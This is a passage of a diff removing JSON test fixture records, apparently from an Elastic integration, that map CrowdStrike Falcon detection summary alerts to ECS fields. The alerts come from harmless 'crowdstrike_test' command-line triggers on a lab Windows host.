-                    ],
-                    "command_line": "cmd  crowdstrike_test_low",
-                    "entity_id": "43450917603",
-                    "executable": "cmd",
-                    "pid": 43450917603
-                },
-                "pid": 43455859437,
-                "start": "2025-07-15T10:29:41.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682",
-                    "d53f596e5ea7117ac18aae9f9bd8a481"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Falcon Overwatch"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Malicious Activity"
-                    ]
-                }
-            },
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2025-07-15T10:30:34.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
-                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776",
-                    "DataDomains": "Endpoint",
-                    "Description": "A low level detection was triggered on this process for testing purposes.",
-                    "GrandparentCommandLine": "cmd  crowdstrike_test_high",
-                    "GrandparentImageFileName": "cmd.exe",
-                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "HostGroups": [
-                        "6b15afc3ea3a42ed810b5c163e490a9d"
-                    ],
-                    "MACAddress": "ba-d0-00-ba-d0-00",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "cmd.exe",
-                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternId": "10306",
-                    "PlatformId": "0",
-                    "PlatformName": "Windows",
-                    "SensorId": "cff45d56127743a593792fb968dac907",
-                    "Severity": 30,
-                    "SeverityName": "Low",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 2021280,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, standard detection.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-07-15T10:30:34.000Z",
-                "kind": "alert",
-                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_low\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776\",\"DataDomains\":\"Endpoint\",\"Description\":\"A low level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_high\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"86920ea0b350c9a3e3752a6aba6e1143\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_medium\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43448891811,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10306,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43450917603,\"ProcessStartTime\":1752575368,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575434000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021280,\"version\":\"1.0\"}}",
-                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "86920ea0b350c9a3e3752a6aba6e1143",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
-                },
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "name": "dave-win10-3"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "cmd",
-                    "crowdstrike_test_low"
-                ],
-                "command_line": "cmd  crowdstrike_test_low",
-                "entity_id": "43450917603",
-                "executable": "cmd",
-                "name": "cmd.exe",
-                "parent": {
-                    "args": [
-                        "cmd",
-                        "crowdstrike_test_medium"
-                    ],
-                    "command_line": "cmd  crowdstrike_test_medium",
-                    "entity_id": "43448891811",
-                    "executable": "cmd",
-                    "pid": 43448891811
-                },
-                "pid": 43450917603,
-                "start": "2025-07-15T10:29:28.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
-                    "86920ea0b350c9a3e3752a6aba6e1143"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Falcon Overwatch"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Malicious Activity"
-                    ]
-                }
-            },
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2025-07-15T10:30:21.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
-                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824",
-                    "DataDomains": "Endpoint",
-                    "Description": "A high level detection was triggered on this process for testing purposes.",
-                    "GrandparentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ",
-                    "GrandparentImageFileName": "cmd.exe",
-                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "HostGroups": [
-                        "6b15afc3ea3a42ed810b5c163e490a9d"
-                    ],
-                    "MACAddress": "ba-d0-00-ba-d0-00",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "cmd.exe",
-                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternId": "10304",
-                    "PlatformId": "0",
-                    "PlatformName": "Windows",
-                    "SensorId": "cff45d56127743a593792fb968dac907",
-                    "Severity": 70,
-                    "SeverityName": "High",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 2021278,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, standard detection.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-07-15T10:30:21.000Z",
-                "kind": "alert",
-                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_high\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824\",\"DataDomains\":\"Endpoint\",\"Description\":\"A high level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"099d5a3c2f87817751337a9cf8d6a70b\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_critical\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43444774922,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10304,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43447659975,\"ProcessStartTime\":1752575345,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":70,\"SeverityName\":\"High\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575421000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021278,\"version\":\"1.0\"}}",
-                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "severity": 73,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "099d5a3c2f87817751337a9cf8d6a70b",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
-                },
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "name": "dave-win10-3"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "cmd",
-                    "crowdstrike_test_high"
-                ],
-                "command_line": "cmd  crowdstrike_test_high",
-                "entity_id": "43447659975",
-                "executable": "cmd",
-                "name": "cmd.exe",
-                "parent": {
-                    "args": [
-                        "cmd",
-                        "crowdstrike_test_critical"
-                    ],
-                    "command_line": "cmd  crowdstrike_test_critical",
-                    "entity_id": "43444774922",
-                    "executable": "cmd",
-                    "pid": 43444774922
-                },
-                "pid": 43447659975,
-                "start": "2025-07-15T10:29:05.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
-                    "099d5a3c2f87817751337a9cf8d6a70b"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Falcon Overwatch"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Malicious Activity"
-                    ]
-                }
-            },
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2025-07-15T10:30:10.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
-                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528",
-                    "DataDomains": "Endpoint",
-                    "Description": "A critical level detection was triggered on this process for testing purposes.",
-                    "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE",
-                    "GrandparentImageFileName": "explorer.exe",
-                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
-                    "HostGroups": [
-                        "6b15afc3ea3a42ed810b5c163e490a9d"
-                    ],
-                    "MACAddress": "ba-d0-00-ba-d0-00",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "cmd.exe",
-                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternId": "10303",
-                    "PlatformId": "0",
-                    "PlatformName": "Windows",
-                    "SensorId": "cff45d56127743a593792fb968dac907",
-                    "Severity": 90,
-                    "SeverityName": "Critical",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 2021272,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, standard detection.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-07-15T10:30:10.000Z",
-                "kind": "alert",
-                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_critical\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528\",\"DataDomains\":\"Endpoint\",\"Description\":\"A critical level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"bd5bfe63bc48507039f7e3afa5b01a70\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10303,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43444774922,\"ProcessStartTime\":1752575334,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":90,\"SeverityName\":\"Critical\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575410000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021272,\"version\":\"1.0\"}}",
-                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "severity": 99,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "bd5bfe63bc48507039f7e3afa5b01a70",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
-                },
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "name": "dave-win10-3"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "cmd",
-                    "crowdstrike_test_critical"
-                ],
-                "command_line": "cmd  crowdstrike_test_critical",
-                "entity_id": "43444774922",
-                "executable": "cmd",
-                "name": "cmd.exe",
-                "parent": {
-                    "args": [
-                        "\"C:\\Windows\\system32\\cmd.exe\""
-                    ],
-                    "command_line": "\"C:\\Windows\\system32\\cmd.exe\"",
-                    "entity_id": "43425257674",
-                    "executable": "\"C:\\Windows\\system32\\cmd.exe\"",
-                    "pid": 43425257674
-                },
-                "pid": 43444774922,
-                "start": "2025-07-15T10:28:54.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
-                    "bd5bfe63bc48507039f7e3afa5b01a70"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Falcon Overwatch"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Malicious Activity"
-                    ]
-                }
-            },
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2025-07-15T10:30:04.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
-                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744",
-                    "DataDomains": "Endpoint",
-                    "Description": "A medium level detection was triggered on this process for testing purposes.",
-                    "GrandparentCommandLine": "cmd  crowdstrike_test_critical",
-                    "GrandparentImageFileName": "cmd.exe",
-                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "HostGroups": [
-                        "6b15afc3ea3a42ed810b5c163e490a9d"
-                    ],
-                    "MACAddress": "ba-d0-00-ba-d0-00",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "cmd.exe",
-                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternId": "10305",
-                    "PlatformId": "0",
-                    "PlatformName": "Windows",
-                    "SensorId": "cff45d56127743a593792fb968dac907",
-                    "Severity": 50,
-                    "SeverityName": "Medium",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 2021265,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, standard detection.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-07-15T10:30:04.000Z",
-                "kind": "alert",
-                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_medium\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744\",\"DataDomains\":\"Endpoint\",\"Description\":\"A medium level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_critical\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"645b4fecb42fb954858850fe127ceb98\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_high\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43447659975,\"PatternDispositionDescription\":\"Detection, standard 